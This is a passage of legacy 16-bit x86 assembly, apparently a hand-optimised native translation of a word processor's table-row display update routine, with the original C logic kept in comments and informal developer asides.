PdrFetch(hpldrTable,idrTable,&drfFetch); ;PAUSE call LN_PdrFetchTable jmp LValidateDr ; native note: we now return you to our regularly scheduled if statement ; native note: assert idrTable == idrMacTable, hence ax == 0 LNewDr: ifdef DEBUG push ax push bx push cx push dx xor ax,ax jz UT350 mov ax,midDisptbn2 mov bx,849 cCall AssertProcForNative,<ax,bx> UT350: pop dx pop cx pop bx pop ax endif ; DEBUG ; { /* this is a new cell in the table */ ; if (fReusePldr) ; ax = 0 cmp fReusePldr,al jz UT370 ; native note: branch expects ax = 0 ; { ; pdrTable = PdrFetch(hpldrTable, idrTable, &drfFetch); ;PAUSE call LN_PdrFetchTable ; Assert(drfFetch.pdrfUsed == 0); ifdef DEBUG push ax push bx push cx push dx cmp [drfFetch.pdrfUsedDrf],0 jz UT360 mov ax,midDisptbn2 mov bx,860 cCall AssertProcForNative,<ax,bx> UT360: pop dx pop cx pop bx pop ax endif ; DEBUG ; PutIMacPlc(drfFetch.dr.hplcedl, 0); push [drfFetch.drDrf.hplcedlDr] xor ax,ax push ax cCall PutIMacPlc,<> jmp short UT380 ; } ; else ; { UT370: ; SetWords ( &drfFetch, 0, sizeof(struct DRF) / sizeof(int) ); ; ax = 0, di = &drfFetch errnz <cbDrfMin and 1> mov cx,cbDrfMin SHR 1 push di ; save register variable push ds pop es rep stosw pop di ; } ; /* NOTE We are assuming that the 'xl' coordiates in the table frame (PLDR) ; /* are the same as the 'xp' coordinates of the bounding DR. ; /**/ ; ItcGetTcxCache(ww, doc, cp, &vtapFetch, idrTable/*itc*/, &tcx); UT380: ;PAUSE push [ww] push [doc] push [SEG_cp] push [OFF_cp] mov ax,dataoffset [vtapFetch] push ax push [idrTable] lea ax,[tcx] push ax ifdef DEBUG cCall S_ItcGetTcxCache else cCall N_ItcGetTcxCache endif ; native note: the following block of code has been rearranged from ; the C version of efficiency... ; push di ; save register variable push ds pop es lea di,[drfFetch.drDrf.xlDr] ; drfFetch.dr.xl = tcx.xpDrLeft; mov ax,[tcx.xpDrLeftTcx] stosw ; drfFetch.dr.yl = fTtpDr ? max(dyFrameLine,dylAbove) : dylAbove; errnz <xlDr+2-ylDr> mov ax,[dylAbove] ; right more often than not cmp [fTtpDr],0 jz UT390 ;PAUSE mov ax,[dylAbove] ; #define dyFrameLine dypBorderFti ; #define dypBorderFti vfti.dypBorder cmp ax,[vfti.dypBorderFti] jge UT390 mov ax,[vfti.dypBorderFti] UT390: stosw ; drfFetch.dr.dxl = tcx.xpDrRight - drfFetch.dr.xl; errnz <ylDr+2-dxlDr> mov ax,[tcx.xpDrRightTcx] sub ax,[drfFetch.drDrf.xlDr] stosw ; drfFetch.dr.dyl = edl.dyp - drfFetch.dr.yl - dylBelow; ;PAUSE errnz <dxlDr+2-dylDr> mov ax,[edl.dypEdl] sub ax,[drfFetch.drDrf.ylDr] sub ax,[dylBelow] stosw ; drfFetch.dr.cpLim = cpNil; ; drfFetch.dr.doc = doc; errnz <dylDr+2+4-cpLimDr> errnz <LO_cpNil+1> errnz <HI_cpNil+1> add di,4 mov ax,-1 stosw stosw errnz <cpLimDr+4-docDr> mov ax,[doc] stosw ; drfFetch.dr.fDirty = fTrue; ; drfFetch.dr.fCpBad = fTrue; ; drfFetch.dr.fInTable = fTrue; ; drfFetch.dr.fForceWidth = fTrue; ; this next one is silly since it is already set to zero... ; drfFetch.dr.fBottomTableFrame = fFalse; /* we'll set this correctly later */ errnz <docDr+2-dcpDependDr> errnz <dcpDependDr+1-fDirtyDr> errnz <fDirtyDr-fCpBadDr> errnz <fDirtyDr-fInTableDr> errnz <fDirtyDr-fForceWidthDr> ; native note: this stores 0 in dr.dcpDepend, which has ; no net effect (it's already zero by the SetWords) ;PAUSE errnz <maskFDirtyDr-00001h> errnz <maskFCpBadDr-00002h> errnz <maskFInTableDr-00020h> errnz <maskFForceWidthDr-00080h> ;mov ax,(maskFDirtyDr or maskFCpBadDr or fInTableDr or fForceWidthDr) SHL 8 mov ax,0A300h stosw ; how's that for C to 8086 compression? ; ; drfFetch.dr.dxpOutLeft = tcx.dxpOutLeft; errnz <dcpDependDr+6-(dxpOutLeftDr)> add di,4 ; advance di mov ax,[tcx.dxpOutLeftTcx] stosw ; drfFetch.dr.dxpOutRight = tcx.dxpOutRight; errnz <dxpOutLeftDr+2-dxpOutRightDr> mov ax,[tcx.dxpOutRightTcx] stosw ; drfFetch.dr.idrFlow = idrNil; errnz <dxpOutRightDr+2-idrFlowDr> errnz <idrNil+1> mov ax,-1 stosw ; drfFetch.dr.lrk = lrk; ; ax = -1 errnz <idrFlowDr+2-ccolM1Dr> errnz <ccolM1Dr+1-lrkDr> inc ax ; now it's zero mov ah,[lrk] stosw ; also stores 0 in ccolM1, again no net change ; drfFetch.dr.fCantGrow = fPageView || fAbsHgtRow; errnz <lrkDr+1-fCantGrowDr> mov al,[fPageView] or al,[fAbsHgtRow] jz UT400 ;PAUSE or bptr [di],maskFCantGrowDr UT400: ;PAUSE pop di ; restore register variable ; if (!fReusePldr) cmp [fReusePldr],0 jnz UT430 ; { ; if (!FInsertInPl ( hpldrTable, idrTable, &drfFetch.dr ) push [hpldrTable] push [idrTable] lea ax,[drfFetch.drDrf] push ax cCall FInsertInPl,<> or ax,ax jz LAbortUT ; if we branch, ax is zero as required ; || !FInitHplcedl(1, cpMax, hpldrTable, idrTable)) ; native note: hold on to your hats, this next bit is trickey errnz <LO_cpMax-0FFFFh> errnz <HI_cpMax-07FFFh> mov ax,1 push ax neg ax cwd shr dx,1 push dx ; SEG push ax ; OFF push [hpldrTable] push [idrTable] cCall FInitHplcedl,<> or ax,ax jnz UT420 ; { ; native note: as usual, the order of the following has been changed ; to save a few bytes... LAbortUT: ; NOTE ax must be zero when jumping to this label!!! ;PAUSE ; ax = 0 ; edl.hpldr = hNil; errnz <hNil> mov [edl.hpldrEdl],ax ; FreeDrs(hpldrTable, 0); push [hpldrTable] push ax cCall FreeDrs,<> ; FreeHpl(hpldrTable); push [hpldrTable] cCall FreeHpl,<> ; PutPlc(hplcedl, dlNew, &edl); call LN_PutPlc ; return fFalse; /* operation failed */ xor ax,ax jmp LExitUT ; } ; pdrTable = PdrFetch(hpldrTable,idrTable,&drfFetch); UT420: call LN_PdrFetchTable ; } UT430: ; ++idrMacTable; inc [idrMacTable] ; Assert (fReusePldr || (*hpldrTable)->idrMac == idrMacTable ); ifdef DEBUG push ax push bx push cx push dx cmp [fReusePldr],0 jnz UT440 mov bx,[hpldrTable] mov bx,[bx] mov ax,[bx.idrMacPldr] cmp ax,[idrMacTable] je UT440 mov ax,midDisptbn2 mov bx,1097 cCall AssertProcForNative,<ax,bx> UT440: pop dx pop cx pop bx pop ax endif ; DEBUG ; } ; native note: else clause done above LValidateDr: ; si = pdrTable ; if (pdrTable->fCpBad || pdrTable->cpFirst != cp) ; native note: this next block is somewhat verbose, ; to leave [cp] in ax,dx mov ax,[OFF_cp] mov dx,[SEG_cp] test [si.fCpBadDr],maskFCpBadDr jnz UT500 ;PAUSE cmp ax,[si.LO_cpFirstDr] jnz UT500 cmp dx,[si.HI_cpFirstDr] jz UT510 ; { ; pdrTable->cpFirst = cp; UT500: ; si = pdrTable, ax,dx = cp mov [si.HI_cpFirstDr],dx mov [si.LO_cpFirstDr],ax ; pdrTable->fCpBad = fFalse; and [si.fCpBadDr],not maskFCpBadDr ; pdrTable->fDirty = fTrue; or [si.fDirtyDr],maskFDirtyDr ; } ; if (pdrTable->yl != (ylT = fTtpDr ? max(dylAbove,dyFrameLine) : dylAbove)) UT510: mov ax,[dylAbove] cmp [fTtpDr],0 jz UT520 ; #define dyFrameLine dypBorderFti ; #define dypBorderFti vfti.dypBorder ;PAUSE cmp ax,[vfti.dypBorderFti] jge UT520 mov ax,[vfti.dypBorderFti] UT520: sub ax,[si.ylDr] ; sub for zero register on branch je UT530 ; { ; pdrTable->yl = ylT; ; ax = ylT - pdrTable->ylDr ;PAUSE add [si.ylDr],ax ; FreeEdls(pdrTable->hplcedl,0,IMacPlc(pdrTable->hplcedl)); ; PutIMacPlc(pdrTable->hplcedl,0); mov bx,[si.hplcedlDr] xor cx,cx ; zero register push bx ; arguments for push cx ; PutIMacPlc call push bx ; some arguments for push cx ; FreeEdls call call LN_IMacPlcTable push ax ; last argument for FreeEdls - IMacPlc result cCall FreeEdls,<> cCall PutIMacPlc,<> ; pdrTable->fDirty = fTrue; or [si.fDirtyDr],maskFDirtyDr jmp short LChkFTtpDr ; } ; else if (pdrTable->fBottomTableFrame != fLastRow || pdrTable->fDirty) UT530: ; ax = 0 test [si.fBottomTableFrameDr],maskFBottomTableFrameDr jz UT540 inc ax UT540: cmp [fLastRow],0 jz UT550 xor ax,1 UT550: or ax,ax jnz UT560 ;PAUSE test [si.fDirtyDr],maskFDirtyDr jz LChkFTtpDr ; { ; if ((dlLast = IMacPlc(pdrTable->hplcedl) - 1) >= 0) UT560: call LN_IMacPlcTable dec ax mov [dlLast],ax jl UT570 ; { ; GetPlc(pdrTable->hplcedl,dlLast,&edlLast); ;PAUSE xchg ax,cx call LN_GetPlcTable ; edlLast.fDirty = fTrue; or [edlLast.fDirtyEdl],maskFDirtyEdl ; PutPlcLast(pdrTable->hplcedl,dlLast,&edlLast); ; #ifdef DEBUG ; # define PutPlcLast(h, i, pch) PutPlcLastDebugProc(h, i, pch) ; #else ; # define PutPlcLast(h, i, pch) PutPlcLastProc() ; #endif ; } ifdef DEBUG push [si.hplcedlDr] push [dlLast] lea ax,[edlLast] push ax cCall PutPlcLastDebugProc,<> else ; !DEBUG call LN_PutPlcLast endif ; DEBUG UT570: ; pdrTable->fDirty = fTrue; or [si.fDirtyDr],maskFDirtyDr ; } ; if (fTtpDr) LChkFTtpDr: cmp [fTtpDr],0 jz UT620 ; { ; if (fAbsHgtRow) ;PAUSE cmp [fAbsHgtRow],0 jz UT590 ; dylNew = DypFromDya(abs(vtapFetch.dyaRowHeight)) + dylBelow; ;PAUSE mov ax,[vtapFetch.dyaRowHeightTap] ; native note: Assert(vtapFetch.dyaRowHeight < 0); ifdef DEBUG push ax push bx push cx push dx or ax,ax js UT580 mov ax,midDisptbn2 mov bx,1482 cCall AssertProcForNative,<ax,bx> UT580: pop dx pop cx pop bx pop ax endif ; DEBUG neg ax call LN_DypFromDya add ax,[dylBelow] jmp short UT600 ; else ; dylNew += dylAbove + dylBelow; UT590: ;PAUSE mov ax,[dylNew] add ax,[dylAbove] add ax,[dylBelow] UT600: mov [dylNew],ax ; leave dylNew in ax for next block... ; pdrTable->dyl = min(pdrTable->dyl, dylNew - pdrTable->yl - dylBelow); ; ax = dylNew sub ax,[si.ylDr] sub ax,[dylBelow] cmp ax,[si.dylDr] jge UT610 mov [si.dylDr],ax UT610: ; } UT620: ; Assert ( pdrTable->cpFirst == cp ); ;PAUSE ifdef DEBUG push ax push bx push cx push dx mov ax,[OFF_cp] cmp ax,[si.LO_cpFirstDr] jne UT630 mov ax,[SEG_cp] cmp ax,[si.HI_cpFirstDr] je UT640 UT630: mov ax,midDisptbn2 mov bx,1284 cCall AssertProcForNative,<ax,bx> UT640: pop dx pop cx pop bx pop ax endif ; DEBUG ; if (pdrTable->fDirty) test [si.fDirtyDr],maskFDirtyDr jnz UT650 jmp LSetDylNew ; { ; /* set DR to full row height */ ; if (fIncr) UT650: cmp [fIncr],0 jz LSetFBottom ; { ; /* we're betting that the row height doesn't change. ; /* record some info to check our bet and take corrective ; /* measures if we lose. ; /**/ ; dlMacOld = IMacPlc(pdrTable->hplcedl); ;PAUSE call LN_IMacPlcTable mov [dlMacOld],ax ; dylDrOld = pdrTable->dyl; mov ax,[si.dylDr] mov [dylDrOld],ax ; pdrTable->fCantGrow = pdrTable->dyl >= dylLimDr && (fPageView || fAbsHgtRow); call LN_SetFCantGrow ; pdrTable->dyl = edl.dyp - pdrTable->yl - dylBelow; mov ax,[edl.dypEdl] sub ax,[si.ylDr] sub ax,[dylBelow] mov [si.dylDr],ax ; } ; /* enable drawing the bottom table frame */ ; pdrTable->fBottomTableFrame = fLastRow; LSetFBottom: and [si.fBottomTableFrameDr],not maskFBottomTableFrameDr ; assume fFalse cmp [fLastRow],0 jz UT660 or [si.fBottomTableFrameDr],maskFBottomTableFrameDr ; assumption failed UT660: ; /* write any changes we have made, native code will need them */ ; pdrTable = PdrFreeAndFetch(hpldrTable,idrTable,&drfFetch); push [hpldrTable] push [idrTable] push di ifdef DEBUG cCall S_PdrFreeAndFetch,<> else cCall N_PdrFreeAndFetch,<> endif xchg ax,si ; if (!FUpdTableDr(ww,hpldrTable,idrTable)) ; if (!FUpdateDr(ww,hpldrTable,idrTable,rcwInval,fFalse,udmodTable,cpNil)) ; { ; LFreeAndAbort: ; FreePdrf(&drfFetch); ; goto LAbort; ; } ; NOTE: the local routine also does the assert with DypHeightTc ;PAUSE xor ax,ax ; flag to helper routine mov cx,[idrTable] errnz <xwLeftRc> lea bx,[rcwInvalXwLeftRc] call LN_FUpdateOneDr jnz UT670 LFreeAndAbortUT: call LN_FreePdrf xor ax,ax jmp LAbortUT ; note ax is zero, as required for the jump UT670: ; /* check for height change */ ; pdrTable->fCantGrow = pdrTable->dyl >= dylLimDr && (fPageView || fAbsHgtRow); call LN_SetFCantGrow ; if (pdrTable->dyl != dylDrOld) mov ax,[dylDrOld] cmp ax,[si.dylDr] je LSetFSomeDirty ; { ; if (fIncr && fLastRow && dylDrOld == dylOld - dylAbove - dylBelow ; && IMacPlc(pdrTable->hplcedl) >= dlMacOld) ; ax = [dylDrOld] cmp [fIncr],0 jz LSetFSomeDirty ;PAUSE cmp [fLastRow],0 jz LSetFSomeDirty sub ax,[dylOld] add ax,[dylAbove] add ax,[dylBelow] jnz LSetFSomeDirty call LN_IMacPlcTable cmp ax,[dlMacOld] jl LSetFSomeDirty ; { ; /* we probably have a dl that has a frame line in the ; /* middle of a DR. ; /**/ ; pdrTable->fDirty = fTrue; ;PAUSE or [si.fDirtyDr],maskFDirtyDr ; GetPlc(pdrTable->hplcedl,dlMacOld-1,&edlLast); mov cx,[dlMacOld] dec cx call LN_GetPlcTable ; edlLast.fDirty = fTrue; or [edlLast.fDirtyEdl],maskFDirtyEdl ; PutPlcLast(pdrTable->hplcedl,dlMacOld-1,&edlLast); ; #ifdef DEBUG ; # define PutPlcLast(h, i, pch) PutPlcLastDebugProc(h, i, pch) ; #else ; # define PutPlcLast(h, i, pch) PutPlcLastProc() ; #endif ; } ifdef DEBUG push [si.hplcedlDr] mov ax,[dlMacOld] dec ax push ax lea ax,[edlLast] push ax cCall PutPlcLastDebugProc,<> else ; !DEBUG call LN_PutPlcLast endif ; DEBUG ; } ; } ; fSomeDrDirty |= pdrTable->fDirty && !fTtpDr; LSetFSomeDirty: test [si.fDirtyDr],maskFDirtyDr jz LSetDylNew ;PAUSE cmp [fTtpDr],0 jnz LSetDylNew mov [fSomeDrDirty],fTrue ; } ; if (!fTtpDr) LSetDylNew: cmp [fTtpDr],0 jnz UT690 ; dylNew = max(dylNew, pdrTable->dyl); ;PAUSE mov ax,[si.dylDr] cmp ax,[dylNew] jle UT690 mov [dylNew],ax UT690: ; Win(fRMark |= pdrTable->fRMark;) ;PAUSE test [si.fRMarkDr],maskFRMarkDr je UT695 mov [fRMark],fTrue UT695: ; /* advance the cp */ ; cp = CpMacPlc ( pdrTable->hplcedl ); push [si.hplcedlDr] cCall CpMacPlc,<> mov [OFF_cp],ax mov [SEG_cp],dx ; FreePdrf(&drfFetch); call LN_FreePdrf ; } /* end of for idrTable loop */ inc [idrTable] jmp LIdrLoopTest LIdrLoopEnd: ; idrMacTable = (*hpldrTable)->idrMac = itcMac + 1; mov bx,[hpldrTable] mov bx,[bx] mov cx,[itcMac] inc cx mov [bx.idrMacPldr],cx ; /* adjust the TTP DR to the correct height, don't want it to dangle ; /* below the PLDR/outer EDL ; /**/ ; pdrTable = PdrFetch(hpldrTable, itcMac, &drfFetch); ; cx = itcMac + 1 dec cx call LN_PdrFetch ; if (pdrTable->yl + pdrTable->dyl + dylBelow > dylNew) mov ax,[dylNew] sub ax,[si.ylDr] sub ax,[dylBelow] cmp ax,[si.dylDr] jge LFreeDrMac ; { ; pdrTable->dyl = dylNew - pdrTable->yl - dylBelow; ; ax = dylNew - pdrTable->yl - dylBelow mov [si.dylDr],ax ; Assert(IMacPlc(pdrTable->hplcedl) == 1); ifdef DEBUG push ax push bx push cx push dx push [si.hplcedlDr] cCall IMacPlc,<> dec ax jz UT700 mov ax,midDisptbn2 mov bx,1559 cCall AssertProcForNative,<ax,bx> UT700: pop dx pop cx pop bx pop ax endif ; DEBUG ; if (dylOld >= dylNew) mov ax,[dylOld] cmp ax,[dylNew] jl LFreeDrMac ; { ; GetPlc(pdrTable->hplcedl, 0, &edlLast); xor cx,cx call LN_GetPlcTable ; edlLast.fDirty = fFalse; and [edlLast.fDirtyEdl],not maskFDirtyEdl ; PutPlcLast(pdrTable->hplcedl, 0, &edlLast); ; #ifdef DEBUG ; # define PutPlcLast(h, i, pch) PutPlcLastDebugProc(h, i, pch) ; #else ; # define PutPlcLast(h, i, pch) PutPlcLastProc() ; #endif ; } ifdef DEBUG push [si.hplcedlDr] xor ax,ax push ax lea ax,[edlLast] push ax cCall PutPlcLastDebugProc,<> else ; !DEBUG call LN_PutPlcLast endif ; DEBUG ; pdrTable->fDirty = fFalse; and [si.fDirtyDr],not maskFDirtyDr ; } ; } LFreeDrMac: ; FreePdrf(&drfFetch); call LN_FreePdrf ; Assert ( cp == caTap.cpLim ); ifdef DEBUG push ax push bx push cx push dx mov ax,[OFF_cp] mov dx,[SEG_cp] cmp ax,[caTap.LO_cpLimCa] jnz UT710 cmp dx,[caTap.HI_cpLimCa] jz UT720 UT710: mov ax,midDisptbn2 mov bx,1622 cCall AssertProcForNative,<ax,bx> UT720: pop dx pop cx pop bx pop ax endif ; DEBUG ; /* At this point, we have scanned the row of the table, ; /* found the fTtp para, and updated the cell's DR's up ; /* to the height of the old EDL. We know ; /* the number of cells/DRs in the row of the table. We now ; /* adjust the height of the mother EDL to the correct row height. ; /**/ ; if (fAbsHgtRow) cmp [fAbsHgtRow],0 jz LUpdateHeight ; { ; dylNew -= dylAbove + dylBelow; ; native note: we'll keep this transient value of dylNew in registers ;PAUSE mov si,[dylNew] sub si,[dylAbove] sub si,[dylBelow] ; for ( idrTable = itcMac; idrTable--; FreePdrf(&drfFetch)) ; di = &drfFetch, si = dylNew mov cx,[itcMac] LLoop2Body: dec cx push cx ; save idrTable ; { ; /* this depends on the theory that we never need a second ; /* pass for an absolute height row ; /**/ ; pdrTable = PdrFetch(hpldrTable, idrTable, &drfFetch); ; si = dylNew, di = &drfFetch, cx = idrTable call LN_PdrFetch ; now, ax = dylNew, si = pdrTable, di = &drfFetch ; if (pdrTable->dyl >= dylNew) cmp ax,[si.dylDr] jg UT725 ; { ; pdrTable->fCantGrow = fTrue; ;PAUSE or [si.fCantGrowDr],maskFCantGrowDr ; pdrTable->dyl = dylNew; mov [si.dylDr],ax jmp short LLoop2Next ; } ; else UT725: ; pdrTable->fCantGrow = fFalse; and [si.fCantGrowDr],not maskFCantGrowDr ; pdrTable->fDirty = fFalse; and [si.fDirtyDr],not maskFDirtyDr ; } LLoop2Next: xchg ax,si ; save dylNew call LN_FreePdrf pop cx ; restore itcTable jcxz LLoop2Exit jmp short LLoop2Body LLoop2Exit: ; dylNew += dylAbove + dylBelow; ; native note: didn't store the transient value in [dylNew], so no ; need to restore it... ; } LUpdateHeight: ; /* update hpldr and edl to correct height now for second scan, ; old height still in dylOld */ ; (*hpldrTable)->dyl = edl.dyp = dylNew; mov ax,[dylNew] mov [edl.dypEdl],ax mov bx,[hpldrTable] mov bx,[bx] mov [bx.dylPldr],ax ; if (dylNew == dylOld || (!fSomeDrDirty && !fLastRow)) ; ax = dylNew cmp ax,[dylOld] je UT730 mov al,[fSomeDrDirty] or al,[fLastRow] jnz UT735 UT730: ; goto LFinishTable; ;PAUSE jmp LFinishTable UT735: ; if (fOverflowDrs = (fPageView && dylNew > dylLimPldr - dylBelow)) ;PAUSE xor cx,cx ; clear high byte mov cl,[fPageView] mov ax,[dylNew] sub ax,[dylLimPldr] add ax,[dylBelow] jg UT740 xor cx,cx UT740: mov [fOverflowDrs],cl jcxz LChkLastRow ; { ; pdrT = PdrFetchAndFree(hpldr,idr,&drfFetch); ; di = &drfFetch ;PAUSE push [hpldr] push [idr] push di ifdef DEBUG cCall S_PdrFetchAndFree,<> else cCall N_PdrFetchAndFree,<> endif xchg ax,si ; if ((dylNew < pdrT->dyl || pdrT->lrk == lrkAbs) && !pdrT->fCantGrow) mov ax,[dylNew] cmp ax,[si.dylDr] jl UT745 cmp [si.lrkDr],lrkAbs jne UT750 UT745: test [si.fCantGrowDr],maskFCantGrowDr jnz UT750 ; /* force a repagination next time through */ ; { ; /* to avoid infinite loops, we won't repeat if the ; DRs are brand new */ ; pwwd = PwwdWw(ww); ;PAUSE call LN_PwwdWw xchg ax,bx ; pwwd->fDrDirty |= !pwwd->fNewDrs; test [bx.fNewDrsWwd],maskfNewDrsWwd jnz UT750 or [bx.fDrDirtyWwd],maskfDrDirtyWwd UT750: ; } ; for ( idrTable = itcMac; idrTable--; FreePdrf(&drfFetch)) mov si,[dylLimDr] mov cx,[itcMac] LLoop3Body: dec cx push cx ; save idrTable ; { ; pdrTable = PdrFetch(hpldrTable, idrTable, &drfFetch); ; cx = idrTable, si = dylLimDr, di = &drfFetch call LN_PdrFetch ; REVIEW - do I need to specify the stack segment? pop cx ; recover idrTable push cx ; save it back again ; if (pdrTable->dyl > dylLimDr) ; cx = idrTable, ax = dylLimDr, si = pdrTable, di = &drfFetch cmp ax,[si.dylDr] jge UT760 ; pdrTable->dyl = dylLimDr; mov [si.dylDr],ax UT760: pop cx push cx xchg ax,si ; save dylLimDr in si call LN_FreePdrf pop cx ; restore idrTable jcxz UT770 jmp short LLoop3Body UT770: ; } ; /* doctor dylNew and fix earlier mistake */ ; dylNew = dylLimPldr; mov ax,[dylLimPldr] mov [dylNew],ax ; (*hpldrTable)->dyl = edl.dyp = dylNew; ; ax = dylNew mov [edl.dypEdl],ax mov bx,[hpldrTable] mov bx,[bx] mov [bx.dylPldr],ax ; } LChkLastRow: ; if (fLastRow && fFrameLines) cmp [fLastRow],0 jz UT800 cmp [fFrameLines],0 jnz UT810 UT800: ;PAUSE jmp LSecondPass UT810: ; { ; /* Here we decide what cells have to be drawn because of the bottom frame ; /* line. State: All cells are updated to the original height of the edl, ; /* the last EDL of every cell that was drawn in the first update pass ; /* has been set dirty (even if the fDirty bit for the DR is not set) ; /* and does not have a bottom frame line. ; /**/ ; pwwd = PwwdWw(ww); ; fDrawBottom = dylBelow == 0 && YwFromYl(hpldrTable,dylNew) <= pwwd->rcwDisp.ywBottom; xor cx,cx cmp [dylBelow],cx jnz UT820 call LN_PwwdWw xchg ax,si ; save in less volatile register push [hpldrTable] push [dylNew] cCall YwFromYl,<> xor cx,cx cmp ax,[si.rcwDispWwd.ywBottomRc] jg UT820 errnz <fTrue-1> inc cl UT820: mov [fDrawBottom],cl ; Mac(cbBmbSav = vcbBmb); ifdef MAC move.w vcbBmb,cbBmbSav ; mem-to-mem moves, what a concept!! endif ; fLastDlDirty = fFalse; mov [fLastDlDirty],fFalse ; for ( idrTable = 0; idrTable < itcMac/*skip TTP*/; FreePdrf(&drfFetch),++idrTable ) ; native note: run the loop in the other direction... ;PAUSE mov si,[dylOld] mov cx,[itcMac] LLoop4Body: ;PAUSE dec cx ; decrement idrTable push cx ; save idrTable ; { ; pdrTable = PdrFetch(hpldrTable, idrTable, &drfFetch); ; cx = idrTable, si = dylOld call LN_PdrFetch ; if (pdrTable->fDirty) ; now ax = dylOld, si = pdrTable, di = &drfFetch push ax ; save dylOld for easy restore test [si.fDirtyDr],maskFDirtyDr jz UT840 ; { ; /* If the DR is dirty, there is little chance of a frame line ; /* problem. The test below catches the possible cases. ; /**/ ; if (pdrTable->yl + pdrTable->dyl >= dylOld && dylOld < dylNew) ; ax = dylOld, si = pdrTable, di = &drfFetch ;PAUSE mov cx,[si.ylDr] add cx,[si.dylDr] cmp cx,ax jl UT830 cmp ax,[dylNew] jge UT830 ; dylBottomFrameDirty = 1; mov [dylBottomFrameDirty],1 ; continue; UT830: ;PAUSE jmp short LLoop4Cont ; } UT840: ; dylDr = pdrTable->yl + pdrTable->dyl; ; GetPlc ( pdrTable->hplcedl, dlLast = IMacPlc(pdrTable->hplcedl) - 1, &edlLast ); call LN_IMacPlcTable dec ax mov [dlLast],ax xchg ax,cx call LN_GetPlcTable mov ax,[si.ylDr] add ax,[si.dylDr] mov cx,ax pop ax ; restore dylOld push ax ; re-save it ; /* does the last dl of the cell lack a needed bottom frame ? */ ; if ( (dylDr == dylNew && dylNew < dylOld && fDrawBottom) ; ax = dylOld, cx = dylDr, si = pdrTable, di = &drfFetch cmp cx,[dylNew] jne UT850 cmp cx,ax ; native note by first condition, cx = dylDr = dylNew jge UT850 cmp [fDrawBottom],0 jnz UT860 ; /* OR does the last dl have an unneeded bottom frame? */ ; || (dylDr == dylOld && dylOld < dylNew ) ) UT850: ; ax = dylOld, cx = dylDr, si = pdrTable, di = &drfFetch ;PAUSE cmp ax,cx jne UT870 cmp ax,[dylNew] jge UT870 ;PAUSE UT860: ; { ; /* verbose for native compiler bug */ ; fLastDlDirty = fTrue; ;PAUSE mov [fLastDlDirty],fTrue ; edlLast.fDirty = fTrue; or [edlLast.fDirtyEdl],maskFDirtyEdl ; pdrTable->fDirty = fTrue; or [si.fDirtyDr],maskFDirtyDr ; PutPlcLast ( pdrTable->hplcedl, dlLast, &edlLast ); ifdef DEBUG push [si.hplcedlDr] push [dlLast] lea ax,[edlLast] push ax cCall PutPlcLastDebugProc,<> else ; !DEBUG call LN_PutPlcLast endif ; DEBUG UT870: ; } LLoop4Cont: ; now di = &drfFetch; dylOld and idrTable stored on stack call LN_FreePdrf pop si ; recover dylOld pop cx ; recover idrTable jcxz UT900 jmp short LLoop4Body UT900: ; } /* end of for pdrTable loop */ ; /* If we are doing the second update scan only to redraw the last ; /* rows with the bottom border, then have DisplayFli use an ; /* off-screen buffer to avoid flickering. ; /**/ ; if ( fLastDlDirty && !fSomeDrDirty ) ; { ; Mac(vcbBmb = vcbBmbPerm); ; fSomeDrDirty = fTrue; ; } ; native note: because we don't have to play games with an offscreen ; buffer, the net effect of the above for !MAC is ; fSomeDrDirty |= fLastDlDirty; mov al,[fLastDlDirty] or [fSomeDrDirty],al ; } LSecondPass: ; /* If some DRs were not fully updated, finish updating them */ ; if (fSomeDrDirty) cmp [fSomeDrDirty],0 jnz UT905 ;PAUSE jmp LFinishTable ; { ; Break3(); some dopey mac thing ; /* If there's a potentially useful dl that's about to get ; /* blitzed, move it down some. ; /**/ ; if (dylNew > dylOld && dlOld < dlMac && dlNew < dlOld && fScrollOK) UT905: mov ax,[dylNew] cmp ax,[dylOld] jle LSetRcwInval ;PAUSE mov ax,[dlOld] cmp ax,[dlMac] jge LSetRcwInval cmp ax,[dlNew] jle LSetRcwInval cmp [fScrollOK],0 jz LSetRcwInval ; { ; GetPlc ( hplcedl, dlOld, &edlNext ); ; ax = dlOld xchg ax,cx lea ax,[edlNext] call LN_GetPlcParent ; if (edlNext.ypTop < *pypTop + dylNew) mov ax,[ypTop] add ax,[dylNew] cmp ax,[edlNext.ypTopEdl] jle UT910 ; ScrollDrDown ( ww, hpldr, idr, hplcedl, dlOld, ; dlOld, edlNext.ypTop, *pypTop + dylNew, ; ypFirstShow, ypLimWw, ypLimDr); ; ax = *pypTop + dylNew push [ww] push [hpldr] push [idr] push [hplcedl] push [dlOld] push [dlOld] push [edlNext.ypTopEdl] push ax push [ypFirstShow] push [ypLimWw] push [ypLimDr] cCall ScrollDrDown,<> UT910: ; dlMac = IMacPlc ( hplcedl ); mov ax,[hplcedl] call LN_IMacPlc mov [dlMac],ax ; } ; ; rcwTableInval.ywTop += *pypTop + min(dylNew,dylOld) - dylBottomFrameDirty; LSetRcwInval: mov ax,[dylNew] cmp ax,[dylOld] jle UT920 mov ax,[dylOld] UT920: add ax,[ypTop] sub ax,[dylBottomFrameDirty]; add [rcwTableInval.ywTopRc],ax ; rcwTableInval.ywBottom += *pypTop + max(dylNew,dylOld); mov ax,[dylNew] cmp ax,[dylOld] jge UT930 mov ax,[dylOld] UT930: add ax,[ypTop] add [rcwTableInval.ywBottomRc],ax ; ; DrawEndmark ( ww, hpldr, idr, *pypTop + edl.dyp, *pypTop + dylNew, emkBlank ); push [ww] push [hpldr] push [idr] mov ax,[ypTop] add ax,[edl.dypEdl] push ax mov ax,[ypTop] add ax,[dylNew] push ax errnz <emkBlank> xor ax,ax push ax cCall DrawEndMark,<> ; ; for ( idrTable = 0; idrTable < idrMacTable; ++idrTable ) ; native note: try the backwards loop and see how it looks... ;PAUSE mov cx,[idrMacTable] LLoop5Body: dec cx push cx ; save idrTable ; { ; pdrTable = PdrFetch(hpldrTable,idrTable,&drfFetch); ; cx = idrTable call LN_PdrFetch ; if ( pdrTable->fDirty ) test [si.fDirtyDr],maskFDirtyDr jz LLoop5Cont ; { ; /* Since we have already filled in the PLCEDL for the DR, ; /* the chance of this failing seems pretty small. It won't ; /* hurt to check, however. ; /**/ ; if (fIncr || !FUpdTableDr(ww,hpldrTable,idrTable)) ; if (!FUpdateDr(ww,hpldrTable,idrTable,rcwTableInval,fFalse,udmodTable,cpNil)) ; goto LFreeAndAbort; ; NOTE: the local routine also does the assert with DypHeightTc mov al,[fIncr] ; flag to helper routine pop cx ; recover idrTable push cx ; re-save idrTable lea bx,[rcwTableInval] ;PAUSE call LN_FUpdateOneDr jnz UT950 ;PAUSE pop cx jmp LFreeAndAbortUT UT950: ; if 